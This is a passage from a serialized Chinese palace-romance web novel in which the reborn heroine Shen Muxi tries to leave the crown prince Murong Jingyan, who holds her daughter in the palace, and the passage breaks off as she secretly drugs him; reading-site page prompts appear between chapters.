松开了握住她手臂的手。 后退一步,任由她离开。 沈慕兮得了自由。 走得大步且迅疾。 他握住她手臂的力度不算太大,可她还是清晰地感觉到了他手心炙热的温度透过秋装渗透到她的皮肤上。 直到感觉自己已经脱离了慕容景衍的视线。 她才停了下来。 双手贴在发烫的脸颊上。 她的心跳,再次不争气地乱了。 ... 半个时辰后。 沈慕兮为顾筱筱洗了身子换上干净的衣裳,小姑娘的眼睛已经快要睁不开了。 眼下不过才是巳时末。 看着她眼底淡淡的黑晕,沈慕兮终究还是没舍得吵醒她。 而是轻轻将她抱回床上。 “傻丫头,好好的,跑回来做什么?” 要是她不跑回来,搞不好,她过两天都可以动身去丹阳寻她了。 回应她的,是轻缓且匀速的呼吸。 看着女儿香甜的熟睡模样,几天没有休息好的沈慕兮也忍不住打了个哈欠。 趴在女儿床边沉沉睡去。 这一睡,沈慕兮极其不安稳。 一连做了好几个梦都是关于慕容景衍的... 不是慕容景衍偷亲她,就是慕容景衍偷偷抱起她回床... 离谱的是,慕容景衍偷亲,她居然会反客为主加深了他蜻蜓点水的问,那只不安分的手,还不受控制地揽上了慕容景衍的腰... 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!一直以来,慕容景衍身姿挺拔,看上去腰肢纤细,没想到摸上去的感觉却厚实有力量,手测,他的腰比她的腰起码粗上三四圈... “...娘亲。” 身前传来顾筱筱惺忪带着沙哑的声音。 沈慕兮猛然惊醒。 窗外金乌西坠。 顾筱筱瘪着小嘴撒娇道,“娘亲,筱筱饿了。” 过了立秋以后,天黑得比较早。 看上去是金乌西坠,不过还是申时中。 小东宫向来是酉时初用晚膳。 还要等将近半个时辰。 就在她考虑是让顾筱筱吃些糕点还是吃些牛乳垫着肚子的时候,夏蝉来报,说膳房那边送了糕点过来。 顾筱筱迅速梳洗完毕,牵着沈慕兮去了饭厅。 “啊,山楂糕、绿豆糕,”看到造型精美且还散发着香气的糕点,顾筱筱的眼睛亮得跟星星似的,“筱筱最爱吃山楂糕跟绿豆糕了。” 乖乖落座后。 顾筱筱夹起第一块山楂糕,笑着送到沈慕兮嘴边,“娘亲先吃,啊...” 沈慕兮张开嘴巴咬了一小块,还带着些微热气的松软糕点入口即化,微甜的滋味瞬间盈满了她的口腔。 “娘亲,怎么样,好吃吗?” 她的眼睛亮晶晶且充满期待,沈慕兮嘴角勾了勾,眼底漾开一片柔和笑意,“嗯,真不错。” “那娘亲把这个也吃了,筱筱吃这个。” 顾筱筱把沈慕兮咬过的糕点全部送回她的嘴里,又夹了两块绿豆糕,小嘴巴一下子鼓鼓囊囊的。 “嗯嗯,娘亲说的没错,这个山楂糕比筱筱之前说过的都要好吃...筱筱爱吃...” 她一边点头,一边含糊不清夸赞。 红豆在一旁笑着开口,“这是新来的御厨,殿下看他的糕点做得极好,所以就安排来小东宫了。” 听到红豆提了这一嘴,沈慕兮脑子里的慕容景衍,又变得鲜活起来。 慕容景衍自从回到邺城后,变得格外忙。 今日若不是筱筱回来了,只怕她还不知道什么时候能见到他。 从小东宫下人的只言片语那里,沈慕兮知道了,他在准备登基事宜... “...娘亲,你有听到筱筱说话吗?” 顾筱筱的声音拉回了沈慕兮的思绪。 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第195章 沈慕兮,你是不是觉得本宫配不上你 “什么?” 顾筱筱抬眸,眨巴眨巴无辜的大眼睛,渴望地看向沈慕兮,“景叔叔说过,要是筱筱想景叔叔了,征求娘亲的同意以后,就可以去找景叔叔玩,那现在,筱筱可以去找景叔叔玩吗?” 沈慕兮看了一眼天色,语带遗憾地开口,“今天可能不行哦。” 顾筱筱有点失落,“为什么?” “因为现在太阳快下山了,而且也快要到用晚膳的时候,景叔叔公务繁忙,若是他现在用这些时间陪了你,那他就没时间用晚膳,再忙碌一点,他今天夜里可能还要挑灯夜战,你忍心看到景叔叔这么辛苦吗?” “景叔叔居然这么辛苦,”顾筱筱捂着嘴,瞪圆了眼睛连连摇头,“筱筱不找顾叔叔了,等顾叔叔不忙再找。” “筱筱乖。” 三言两语哄好了女儿。 沈慕兮脑子里想的却是另外一件事——如今筱筱对慕容景衍愈发依赖,这对她来说,不是一个好兆头。 当初在荣郡王府,她与筱筱想要与世无争。 可苏柳溪母女却没有放过她们。 一如宫门深似海。 后宫中的争斗,比起荣郡王府她与苏柳溪的小打小闹,只会更残酷。 她不愿意再卷入那样的纷争之中。 慕容景衍的身份,注定不可能与她有瓜葛。 长痛不如短痛。 打定了主意,沈慕兮决定去找慕容景衍聊一聊。 ... 如同小东宫下人所猜测。 最近准备登基的事情,慕容景衍忙得脚不沾地。 可不管多晚,他都会离宫回去小东宫。 是夜。 慕容景衍如同往常一样,回到小东宫,就直奔侧院,打算先去看沈慕兮。 没想到,今日侧院却灯火通明。 嗯? 难道他被发现了? 想到这里,慕容景衍转身就要走。 夏蝉的声音从身后传来,“殿下,我们姑娘在前厅等您。” 慕容景衍咬牙。 “本宫知道了。” 在步入正厅看到沈慕兮的那一刻,慕容景衍的耳根涨得通红。 “殿下这么晚了,来我这里有什么事吗?” 沈慕兮似笑非笑地看着他。 像极了抓到做坏事的小孩。 今日她听下人跟她禀报的时候,还觉得不可思议。 慕容景衍那么忙,怎么可能还吃饱了撑着,非要来看看她这里灯灭了之后还去她房间外停留片刻在离开? 这不,今天就抓了个正着了。 慕容景衍一脸无辜,“本宫只是路过。” 他的语气淡定。 要不是耳根一片通红,沈慕兮差点就信了他的鬼话。 她轻笑一声,朝夏蝉扬手一挥。 夏蝉无声退下。 前厅只剩下沈慕兮跟慕容景衍二人。 安静得连蜡烛燃烧的声音都能听得见。 不知道是谁先叹了一口气。 沈慕兮开口了。 “殿下,其实你早就已经猜到我想说什么...” 不等她说完,慕容景衍直接起身,“你若是不想看到本宫,本宫走就是了。” 沈慕兮上前拦下他,“殿下,我不是这个意思...” “不是这个意思,那你是什么意思?” 话已经说开了,慕容景衍带了几分破罐子破摔的赌气意味,“我知道你想说什么,你无非就是想跟我说你要离开,沈慕兮,你是不是觉得本宫配不上你?” “不...我不是这个意思。” 纵然重生一遍又一遍,沈慕兮骨子里为人着想的本能依旧存在。 看到慕容景衍难得面露急色,她也跟着着急了,“殿下,是我配不上你。” “我说你配得上,你就配得上,”慕容景衍扶着沈慕兮的双肩,逼她与他对视,“沈慕兮,我在乎你,难道你就没有半点感觉?” 那一层若隐若现的纸已经完全挑破。 没有退路了。 沈慕兮鼓起勇气,目光坚定地看向他,“我有,但是,我与殿下从来就不是同一个世界的人,殿下现在说这些,极大的可能是因为一时新鲜感,等新鲜感过去了,就什么都不是了。” 沈慕兮转身,不敢看慕容景衍的眼神。 慕容景衍有点激动,“这世上,并不是所有人都是顾时。” 顾时忘恩负义不懂得珍惜,是顾时的错。 可他跟顾时,从来就不是同一类人。 “殿下。” 沈慕兮伸手捂住了自己的耳朵,不愿意再听下去,“每个男人做出承诺的时候,都恨不得将自己的一颗心剖出来,可那又如何?那又能证明什么?” “一个女人,若只图男人的一颗真心,男人一旦移情别恋,那个女人,除了遍体鳞伤,什么都得不到,我已经死过一次了,不想再死第二次。” 与往日的冷静自持不一样,她今日的言辞极为激烈。 甚至连一个眼神都不愿意分给慕容景衍。 慕容景衍似是十分震惊,怔怔地站在原地。 终究是什么话都没有说。 沈慕兮一直捂着耳朵,连慕容景衍什么时候离开也不知道。 心里闷闷的。 比亲眼看到顾时接近苏柳溪的时候还难受。 直到自己眼前的视线一片模糊。 沈慕兮才惊觉自己不知道什么时候泪流满面。 她用力擦去眼泪,强行让自己不要再想慕容景衍那个真诚的眼神。 像是自我洗脑一样喃喃自语,“天下乌鸦一样黑,再多的山盟海誓,终究敌不过岁月无情。” ... 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第196章 娘亲为什么不喜欢景叔叔? 顾筱筱这几天感觉娘亲不对劲。 感觉景叔叔也不对劲。 明明景叔叔之前很喜欢来找娘亲。 现在居然不来了。 她想去偷偷找景叔叔,娘亲又说景叔叔忙。 可是... 之前景叔叔也很忙啊,不也照样有时间来陪她? 不对劲。 非常不对劲。 她想问娘亲,可是她不敢。 只好可怜巴巴地看向红豆。 “红豆,娘亲是不喜欢景叔叔了吗?” 她这个问题一出来,差点把红豆送走。 “我的小祖宗诶,这些问题,以后可不能随便问了。” 顾筱筱委屈巴巴地抿唇,“筱筱已经没有人可以问了,连你都不回答我的问题,那我应该要问谁?” 红豆于心不忍地提议,“要不,你去问小姐,奴婢在旁边给你打气,为你加油?” 绿萝刚从浣衣局取回顾筱筱拿去浆洗的衣裳,回来就听到红豆在乱出馊主意,忍不住开口笑骂,“小姐这几天心情不太好,你可别添乱了。” “知道了知道了,我就那么一说,小小姐压根没听进去,你说对吧。”红豆揶揄地朝顾筱筱眨了眨眼。 顾筱筱嘴上说着是,心里已经把红豆的馊主意听了进去。 翌日。 她特地去找沈慕兮用午膳。 沈慕兮正想问夏蝉,为何这几日都没看到顾筱筱来。 没想到今日就来了。 她心中欢喜,吩咐小厨房多做了几道她爱吃的小菜。 “肉沫豆腐,三色丸子都是你爱吃的,现在你还在长身体,要多吃点。” 她一边给顾筱筱夹菜一边絮絮叨叨。 “娘亲不要光顾着给筱筱夹,您也吃。” 顾筱筱反手给沈慕兮夹了最大的那个三色丸子。 一顿午膳在母慈子孝中用完。 午膳后,沈慕兮与顾筱筱一起漱了口。 看着小小人儿一板一眼地将漱口茶盏放回去丫鬟的托盘上。 颇有几分大家闺秀的派头,沈慕兮忍不住笑了。 “筱筱今日怎么突然想起来找娘亲用膳了?” 前几天每到用膳的时候就急忙跑走,说自己叫了红豆让小厨房做,怎么留都留不住... 为此,她这两天没少跟夏蝉感叹:女儿真的长大了。 “筱筱想娘亲啊。”她撅起小嘴抱着沈慕兮的手臂,哼了两声,“景叔叔个坏蛋,之前还说会来看筱筱跟娘亲,结果这几天,只来看了小小都不找娘亲,筱筱要找他去。” “筱筱。” 沈慕兮拉住了顾筱筱。 “景叔叔很忙,我们不要老是打扰他。” 垂眸看到顾筱筱水汪汪的眼睛正一眨一眨地看着自己,小脸还带了几分严肃的表情,沈慕兮嘴角的笑容僵了僵,“怎么一直这样看着娘亲?” “娘亲是不是不喜欢景叔叔了?” 顾筱筱板起小脸。 “景叔叔喜欢娘亲,难道娘亲不应该喜欢景叔叔吗?” 小孩子的世界很单纯。 就好像,力的作用是对等。 对小孩子而言,喜欢也应该是对等的才有意义。 可是... “筱筱,不是每个人的喜欢都能得到回应的。” 沈慕兮嘴角的笑容彻底挂不住了。 一本正经地开始胡说八道。 “就好像,你喜欢吃鱼,你确定鱼喜欢给你吃吗?” “鱼又不傻,肯定不喜欢。”顾筱筱摇头,还没等沈慕兮开口,她又搂住沈慕兮的脖子说道,“可是,娘亲,筱筱可以看得出来,顾叔叔真的很喜欢你,非常喜欢非常喜欢,这样也不行吗?” “小孩子家家,哪有那么多喜欢不喜欢?”沈慕兮笑着刮了刮顾筱筱的鼻子。 随后又放了她下地。 显然是不想跟她再说这个话题。 顾筱筱不死心地揪住沈慕兮的衣袖,“可是娘亲,筱筱不想景叔叔跟娘亲吵架。” 在她的认知里,两个人突然没了联系,肯定就是吵架了。 女儿一直在坚持。 沈慕兮顿时有点无力。 “筱筱,”她抬手想要摸摸女儿的小脸蛋,跟女儿强调,“我们没有吵架。” 结果顾筱筱却自己捂着跑开了,“我不听我不听,总之娘亲不喜欢景叔叔,筱筱也不喜欢娘亲。” 沈慕兮无奈叹了一口气。 红豆想要追上顾筱筱,转头看到沈慕兮一脸失魂落魄。 连忙回头,“小姐,小小姐还小...” “筱筱自小就缺乏父爱,难得遇到一个对她好的,她珍惜,也无可厚非。” 沈慕兮可以理解女儿的心情,也理解女儿的小脾气。 对于女儿,她是有亏欠的。 若非她识人不清,让女儿缺乏父爱,也不会造成今日的局面。 “去吧,好好照顾她。” “奴婢会好好劝劝小小姐的。”红豆朝沈慕兮做下承诺,迅速离开。 一大一小两个身影很快消失在沈慕兮的视线。 沈慕兮叹气落座。 夏蝉给她送来了一杯茶,看着沈慕兮,欲言又止。 “你想问什么就问吧,左右这点子事情,已经不是秘密了。” 这章没有结束,请点击下一页继续阅读!很快,也会成为过去。 沈慕兮心中暗暗叨念。 得了沈慕兮的允许,夏蝉也不藏着掖着,“殿下对姑娘一往情深,姑娘为何...” 沈慕兮抿了一口茶,摇头,“这世间,没有那么多为何,人心易变,我只是不敢再拿以后去赌了。” 夏蝉动了动嘴,终究只能溢出一声叹息,“姑娘只是一时没想好,不若先好好冷静下来。” “不必。”沈慕兮摇头,“我知道自己在做什么。” 起身,她吩咐夏蝉,“我想去散散心,不用跟着我,你去忙你的。” “是。” ... 沈慕兮悄悄回了一趟县主府。 当时慕容景衍给她的玉佩,她没有随身携带,而是悄悄让红豆放回去县主府。 埋在了神沈曦曾经院子的梨树下。 重新将璃龙佩握在手上。 触手生温的璃龙佩莫名地让沈慕兮心里泛起一阵阵酸涩。 原以为,慕容景衍与她没有感情,玉佩可以换个其他条件。 “没想到,”她苦笑,“我跟你,还是走到了这一步。” 语气里,写满了失落。 ... 顾筱筱一路小跑。 直到跑累了才停下来。 红豆一直不紧不慢地跟着。 直到顾筱筱停了下来,她才慢慢上前。 小小的身子哭得一抽一抽的。 看得红豆的心都要拧起来了。 “小小姐,好了不要哭了,再哭就变成小花脸,不漂亮了。” “呜呜呜,红豆...” 顾筱筱打着哭嗝,“为什么娘亲会不喜欢景叔叔,景叔叔很好,筱筱喜欢景叔叔。” “可是...” 红豆轻轻抱着顾筱筱,“太子殿下以后会是南渊的皇上,他会有很多很多妻子跟子女...” 她的声音很轻很轻。 按道理,顾筱筱耳朵受过伤,只能听到正常音量大小的话。 可是,这一次,红豆的话,她听得很清楚。 “现在他只有你娘亲跟你,自然对你们很好,可是,万一,他有了新的妻子,跟新的孩子呢?” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第197章 用承诺玉佩,换离开的机会 顾筱筱停止了哭泣,最开始,她看向红豆的眼神十分茫然。 慢慢地,她的目光逐渐聚拢。 好一会,她才哑着嗓子问,“是不是,像坏爹爹一样,有了坏姨姨跟坏姐姐,然后坏姐姐欺负筱筱,坏姨姨欺负娘亲?娘亲是不是害怕筱筱受伤害,所以才跟景叔叔吵架?” 问完,她又伤心地扑到红豆的怀里。 “呜呜呜呜,红豆,我是个坏孩子,居然害得娘亲跟景叔叔吵架,娘亲肯定很伤心,因为筱筱居然还对娘亲发脾气,呜呜呜,筱筱快要变成没有娘亲的孩子了。” 红豆没想到她小小的脑瓜子里,居然会想到这么多。 当即心疼地将她抱在怀里安慰,“不关小小姐的事,小小姐不过只是想让娘亲幸福,没错的。 而且,小小姐的娘亲也最爱小小姐了,又怎么会舍得生你的气?” 哭声再次停歇。 “你说的是真的?” “奴婢什么时候骗过小小姐?你听奴婢的,等回去小姐身边的时候,跟小姐好好道个歉,或者撒个娇,小姐很快就会抱着你心肝宝贝地哄了。” “嗯嗯,筱筱现在就回去。” 好说歹说。 红豆总算把这个小祖宗哄好了。 牵着她的手,带她回去院子里洗漱,之后在去找沈慕兮。 刚才两人一路狂奔,停在了慕容景衍书房不远处的大树后而不自知。 一直到两人离开后。 慕容景衍才从树的另一边走出来,垂眸低语,“原来,顾时给你带来的伤害,至今还是这么深...” 是他太急了。 他应该等一切都稳住尘埃落定。 再给她足够的安全感... 贺玄悄无声息地出现在他身后。 慕容景衍再次变回了那副冷硬无情的模样。 “如何了?” “已经找到藏身之处了。” “好,这次诱饵多放一点,莫要再犯同样的错误了。” “是。” “给贺鸿递个信,让他在宫里安排一下,本宫最近,先在宫里处理公务。” “是。” ... 日子一晃又过去了十多天。 沈慕兮一次都没有见过慕容景衍,也没有他的消息。 甚至连他这些天有没有回府都不知道,她的心里不免开始着急起来。 现在早已过了她原先计划好离开邺城回去丹阳的时间。 丹阳那边陆续来了两次信。 都是担心沈慕兮是不是在沿途出了什么问题。 不能再拖了。 她不是没想过不辞而别。 可按照慕容景衍的性格。 如今他对她还有新鲜感。 除非她能得到他的允许,否则,她带着筱筱,不管去哪里,他还是有办法将她带回来... 县主府就是一个很好的例子。 回来第一天,她就打算回去县主府等待跟慕容景衍谈好一切就离开。 结果就是,慕容景衍差点把小东宫都搬去县主府了。 那是沈曦的地盘,即使沈慕兮再想离开,也不想将沈曦的县主府变成别人的地盘。 就在这种循环往复的心焦中,又过去了两天。 沈慕兮一直在前门蹲守着。 终于在第三天一大早,被她蹲守到了准备外出的贺玄。 她顾不得蹲的发麻的双腿,一拐一瘸急忙追上。 “贺玄。” 听到沈慕兮的声音,贺玄停下了脚步,恭敬朝沈慕兮行礼,“姑娘。” 沈慕兮扯着一抹僵硬的微笑问贺玄,“太子殿下这些天可有回来小东宫?” 虽然,按照现在慕容景衍随时登基的情况,他留宿后宫也是十分正常的事情。 可沈慕兮心里还是隐隐希望,他能回来小东宫。 贺玄一板一眼地答复,“并无,朝中事务繁忙,殿下处理完公务干脆宿在宫中了。” 沈慕兮悬着的心,终究还是死了。 这样也好。 有了新欢,慕容景衍就不会再老是想那些有的没的... 可是,为什么眼眶有点发烫呢? 沈慕兮努力压下眼中泪意,忽略心里的难受。 看到贺玄正在悄悄打量自己的时候,她又扬起了一抹比刚才更加僵硬的笑容,试探性地问道,“那...殿下有没有说,他什么时候回来,或者说,他...以后都住在宫里了?” “并无,姑娘可是有事要找殿下吗?” 贺玄频频往外看。 沈慕兮知道他在赶时间,便不再多言,将慕容景衍之前给她的玉佩递到贺玄面前。 “劳烦你,帮我把玉佩还给殿下,转告他,我已经想好用玉佩换什么了,换我与筱筱的自由。 感谢他这些天的关照,若是他没空,不必离宫相送,小东宫的一草一木,我都不会伤害,若是有所损伤,我也会照价赔偿。” 说完,她朝贺玄抱拳做了一揖。 贺玄脸色大变,躲过了她的行礼,“姑娘莫要折煞属下。” 一边说着,他一边大步往外走,“属下会将姑娘的话转告给殿下,也请姑娘这两天先不要着急离开。” 他的身影,很快融进熙熙攘攘的人群。 沈慕兮以为自己说出离开以后,心情应当是十分愉悦的。 奇怪的是。 她不仅没有松一口气的感觉,心里还莫名沉甸甸的。 她想,她应该是病了。 这个病,等她离开小东宫,离开邺城,就会不药而愈。 ... 决定离开后。 红豆绿萝很快就将她跟顾筱筱的行囊打点好。 她们是要跟着沈慕兮母女的。 而夏蝉... 沈慕兮歉意地握着她的手,“你是东宫的暗卫,我没资格带走你,你也不应该留在我身边埋没这一身本领,相识相遇也是缘分,他日若是你有需要帮助,可以去丹阳寻我。” 夏蝉红了眼,可她也知道,沈慕兮说的是对的。 她是小东宫的暗卫,除非沈慕兮是太子殿下的人,否则,她不可能跟沈慕兮离开。 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第198章 心乱如麻 贺玄已经两天没有回来小东宫。 临走前让沈慕兮不要急着离开。 沈慕兮鬼使神差地多留了一天。 当天,贺玄还是没有回来,慕容景衍也没有回来。 沈慕兮失落的自嘲一笑。 “我在期待什么?” 夜里,沈慕兮牵着夏蝉的手交代最后一句话—— “...明日过后,我与小东宫再无瓜葛,县主府那边,你若是得了空,麻烦帮我照看一下。” 说完,她又将手上的一枚白玉手镯褪到夏蝉手上,“你我主仆一场,日后不知道还有没有见面的机会,这只手镯虽然不贵重,可也是我的一番心意,你好好说着,权当做个纪念。” “姑娘...” 夏蝉依依不舍地看着沈慕兮。 “属下嘴笨,说不出好听又华丽的话,只希望姑娘往后事事顺遂,无灾无难。” “我会的。” 沈慕兮微微一笑。 “好了,我要休息了,今晚你不用守夜,退下吧。” 夏蝉应声退下。 沈慕兮洗漱好了以后,正准备脱衣歇下,外头就传来了下人朝慕容景衍见礼的声音。 “见过殿下。” 她眼底闪过一丝诧异,褪到一半的衣裳连忙穿上,起身相迎。 “殿下怎么这么晚?” 慕容景衍不着痕迹地打量了一下侧院。 平日的摆设一如既往,只有沈慕兮常用的一些生活用品不见了。 再看她发中没有几件繁复的首饰,连套在身上的外衣都是那种简单的款式。 慕容景衍心中像是被突然点起了一把无名怒火。 扬手摒退下人后,他目光灼灼地看向沈慕兮,“你...打算明天就走?连道别都不愿意当着我的面跟我道别?” 尽管他很努力让自己的声音变得平静,可身上的气压却低沉得骇人。 沈慕兮连忙开口,“我不是...” 已经让贺玄帮我带话了吗? 后面的话她没有说完,慕容景衍已经大力拉起她的手,拖着她一路往外走。 “殿下,你要带我去哪里。” “进宫,过些天本宫登基,封你为后。”慕容景衍的脚步一步不停。 封后? 沈慕兮像是如梦初醒,急忙挣脱了他的手。 “我不去。” “沈慕兮,”他没有半分被挣脱手的愤怒,反而看着沈慕兮的眼睛一字一顿,认真地开口,“我之前跟你说过的话,不是开玩笑。” 天边万里无云。 即将圆满的月亮洒下了满地清辉。 落在他的身上,他整个人拢上了一层淡淡的光晕,仿佛在天上坠落凡尘的谪仙。 他落在她身上的目光如此专注,专注得就像世间万物的一切都与他无关。 有那么一瞬间。 沈慕兮在他眼前失了神。 很快,她又回过神来。 闪躲着目光避开了他想要在气牵起她手的手。 “殿下。” 她的声音清冽,语气冷静。 “我以为我之前已经说得很清楚,我们不是一个世界的人,所以,我们是没有结果的。” “你从来就不愿意正视你我之间的关系与感情,还未开始,你就已经先判了我死刑,这对我一点都不公平。”慕容景衍低吼,眼底闪过一抹受伤。 公平? 沈慕兮笑了。 “两个人相爱,从来没有公平可言,最先动心的那方,注定会万劫不复。” 所以,我不想再陷入这种万劫不复的循环了。 慕容景衍权当听不见她的话,将她逼到树下,直到她的后背紧紧贴着树干才停下来。 “所以,你现在是几个意思?真的决定...决定...” 不要我了吗? 后面的话,慕容景衍无法启齿。 他修长的大手撑在树干上,虚虚将她桎梏在怀中。 两人呼吸交缠,只要双方其中一人再低一下头或者仰头,就能碰到彼此的唇。 可沈慕兮的目光一直落在慕容景衍的束了腰封的劲腰上。 “我只想离开。”她的声音不大,却语气坚决。 沈慕兮的话,再次如同利刃一样直直扎入慕容景衍的心中。 慕容景衍深呼吸,收回了撑在她耳边的手,后退了一步,“你再给我几天时间,等我把宫里的事情处理好,再与你好好谈谈。” 似是害怕沈慕兮会拒绝。 话说出口之后,他就径直离开了。 沈慕兮看着他离开的背影,自嘲一笑,“你这又是何必?” 明明不管多少次,结果都是一样的。 她要离开的心意已决。 不惜任何代价。 翌日一早。 沈慕兮去了顾筱筱的院子,正打算带顾筱筱离开。 却发现顾筱筱的院子只有平日负责日常起居的下人,连红豆绿萝都不在。 她拉过其中一个正在扫落叶的小丫鬟问话。 小丫鬟战战兢兢地跪在沈慕兮面前,“昨日夜里,贺大人亲自来接了小郡主进宫,连带贴身伺候小郡主的绿萝姑娘、红豆姑娘也接了去。” 沈慕兮抿唇。 这章没有结束,请点击下一页继续阅读!顿时明白慕容景衍这是在逼她多留几天。 她转身就要离开。 “姑娘...” 身后传来小丫鬟忐忑的声音。 沈慕兮这才反应过来自己愤怒过了头。 连忙让小丫鬟起来。 从顾筱筱的院子回到侧院,沈慕兮的脸色一直都十分难看。 “现在算什么事?” 她在房间里烦躁地伸手搓了搓自己的脸。 慕容景衍到底想要什么? 说实话。 她对慕容景衍不是毫无感觉。 只是... 她与慕容景衍之间,总是感觉欠缺了点什么。 总觉得,她心里没底。 连慕容景衍也给不了她这份底气。 理智使然,她更不可能因为自己已经栽过跟头的所谓真爱而栽在慕容景衍身上。 夏蝉早在沈慕兮去而复返的时候就大概知道发生了些什么事。 如今看到她脸色阴沉,还是忍不住开口劝说道,“姑娘,其实殿下他...” 真的很在乎你。 “好了夏蝉,你让我一个人静一静。” 沈慕兮满脑子都是怎么进宫带顾筱筱出来,实在没有心情再听旁人说慕容景衍如何如何。 她不瞎。 慕容景衍也许很好。 但是,他不是她的良人... 心情烦躁地等待了几日。 沈慕兮再听到慕容景衍的消息,是他要在三天后登基。 一旦慕容景衍登基。 紧随而来的就是后宫选秀。 若是后宫妃子充盈,而筱筱还留在宫里... 这跟当靶子有什么区别? 慕容景衍... 用筱筱吊着她,到底想要做什么? 蓦地。 她突然想起,以前读书的时候,经常看到班上的男生追女生,追求女朋友的时候轰轰烈烈,等女生答应了追求,男的就不再珍惜。 到分手的时候,只有女生哭得撕心裂肺... 一般这种情况,多数是,女生被男生耍了,吃干抹净,男生没了新鲜感,继续寻找下一个猎物,至于女生是死是活,仿佛都与他无关。 这是渣男好色的表现。 慕容景衍一直不放手,难道,是觉得跟她合作,得到的回报太少,所以还想从她身上得到些什么? 男人的劣根,无非就是财权色。 财权慕容景衍没有。 那就只剩下色了。 一定是这样。 似是下定了某种决心。 沈慕兮唤来了夏蝉。 “你现在还能递信给贺玄吗?” 夏蝉点头,“小东宫的侍卫都有自己的一套传信方式。” 沈慕兮暗暗松了一口气,“那你帮我给贺玄带个信,就说,我想进宫见殿下。” 夏蝉知道沈慕兮这次进宫更大的可能是为了顾筱筱,当即给递进宫的信件加了一个加急章。 当天夜里,贺玄出宫,将沈慕兮带到了养心殿。 如今慕容明辉“病逝”,连带他的后宫也已经被遣散,宫中十分冷清。 慕容景衍虽说还未登基,但是在宫中的所穿所用,一切都按照皇帝的规格来。 此时他发束金冠,身穿紫色盘龙常服。 在看到沈慕兮的那一刻,他眼底微亮,立刻吩咐宫人奉茶。 这一次,沈慕兮没有躲开他上前牵她手的动作,还虚虚朝他行了一礼。 “民女不知道应该唤你殿下还是皇上,今日就按照我们的交情,继续唤你一声殿下了。” 慕容景衍通身气场明显多了几分明媚。 唇边的笑意,更是无论如何都压不下去。 “你我之间,虽说当时大婚礼数并未周全,可你也是我的妻子,若无旁人的情况下,本就不应该在意这些繁文缛节。” 沈慕兮笑着点头,看了一眼御书案,“你今日的事情,忙完了吗?” 今日她的笑容似乎变多了,慕容景衍忍不住跟着微微一笑,“重要的事情已经忙完,剩下的,基本是一些外驻大臣的问候以及登基祝贺词。” “那...”沈慕兮收起笑容,微微咬唇,“不知今日我若是不回去小东宫,这宫里可有给我预留住处?” “自然是有的。” 慕容景衍理所应当地点头,牵起她的手,带着她往后宫而去。 一路上,他像极了热情的东道主,一直跟她解说一些宫道或者凉亭的由来,试图打破两人之间尴尬的安静。 沈慕兮时不时地应和几句。 沿途侍卫看到两人,远远已经跪下恭迎。 沈慕兮一时之间,有点恍惚。 难怪,所有人都对权势如此迷恋。 这种,只要我不爽,所有人都得战战兢兢的感觉,确实能给人带来一种诡异且扭曲的快感。 走到半路,慕容景衍问沈慕兮,“筱筱如今住在永安宫,你要去看看她吗?” 连宫殿都安排好了? 沈慕兮被握住的手微微一僵,“今日天色已晚,明日我再去看她。” 她努力让自己的神色变得自然。 慕容景衍明显感觉到了她的失态,紧了紧握住她的手,“永安宫与我们住的和政宫距离不远,往后你们可以随时见面。 本小章还未完,请点击下一页继续阅读后面精彩内容!待我登基大典过后,立刻拟旨封她为和乐公主,从此,她的人生,只剩顺遂康泰... ...届时,我定要与你重新大婚,以皇后之礼将你迎入中宫...” 他毫不隐藏自己的安排。 沈慕兮说不感动是假的。 奈何... 沈慕兮敛了心神,打断了慕容景衍的话。 “那我今晚住哪?” “到了。” 话音刚落,慕容景衍停下了脚步。 眼前是一个大气的朱漆门面。 沈慕兮抬头看了一眼门面上的金漆大字—— 长禧居。 她好奇地开口,“这里是...” 慕容景衍朝她扬了扬头,“进去看看?” 宫人推开宫门。 与外头的厚重肃穆截然不同。 里面种了各式各样的药草。 都是一些常见常用且容易辨别的种类。 从药草的长势来看,应该是种下了两三个月。 而她从北宸回来,也不过只是二十来天。 可见,这人是在与她一同前往北宸的时候就在准备了。 一股暖流从沈慕兮的心底划过。 “这是...” 她眼底的感动太过明显,慕容景衍反而有点不自在了。 “我知你向来喜欢钻研药理,这里只是打个样。 因为药理复杂,我让太医院的太医们帮忙选出这几种种在一起不会产生其他毒素或者不良反应的药草。 以后,你可以自己根据自己的喜好种植。 若是我在处理国事的时候,你在宫中无聊,这里就是你打发时间的好去处。” 他连这些都想到了... 可是... 以前顾时也跟她承诺过,只要他有朝一日能够回去京城,定然不会让她跟筱筱过苦日子。 结果呢? 沈慕兮自嘲一笑。 早在进宫之前,她就已经琢磨出了规律。 男人,在得到女人之前,总会使出浑身解数。 而在得到女人之后,却将其弃之如履... 古言早有云—— 不要跟男人有所纠缠,男人脱身容易,女子脱身,比登天还难。 想到这里,沈慕兮软下来的心肠又重新冷硬起来。 慕容景衍难得话多,还在喋喋不休地为她讲解,“...你若是累了,或者遇到天气不好,可以直接歇在这里。” 沈慕兮点头,捏了捏另外一只手的一宿,微微一笑,“这里睡觉的地方在哪?殿下可以带路吗?” 慕容景衍不疑有他。 很快将她带去主寝殿。 寝殿比她在小东宫的寝房要大上许多,分外殿跟寝室。 外殿是一些日常的摆设,平日在这里用膳或者用糕点都可以。 往里走一点,就是寝殿。 寝殿分内外室,外室还专门隔出来了一个沐浴专用的洗间,书案书架一应俱全。 往里走一些,推开小门,就是里室。 里室只有外室的三分之一大。 光线极暗,关上小门,就可以将外头的一切声音隔绝。 沈慕兮自从死在荣郡王府以后,就格外敏感,睡眠环境要求极高,住在小东宫的那些天,她的床帐是加厚的。 她不知道皇宫其他寝殿是不是这样的格局,但是眼前的内室,她很喜欢... “你今晚先歇下,有什么事情,我们明天...” 话未说完,他已经瞪大了双眼,死死瞪住了沈慕兮。 眼神是震惊、是愤怒、更多的是不解。 他做梦没想到沈慕兮居然敢对他动手。 很快,一股热意顺着他的呼吸,迅速蔓延至全身。 他四肢虚软。 唯独一个地方。 蓄势待发。 慕容景衍瞬间明白了她想要做什么,心底先是腾的涌起一股愤怒与屈辱。 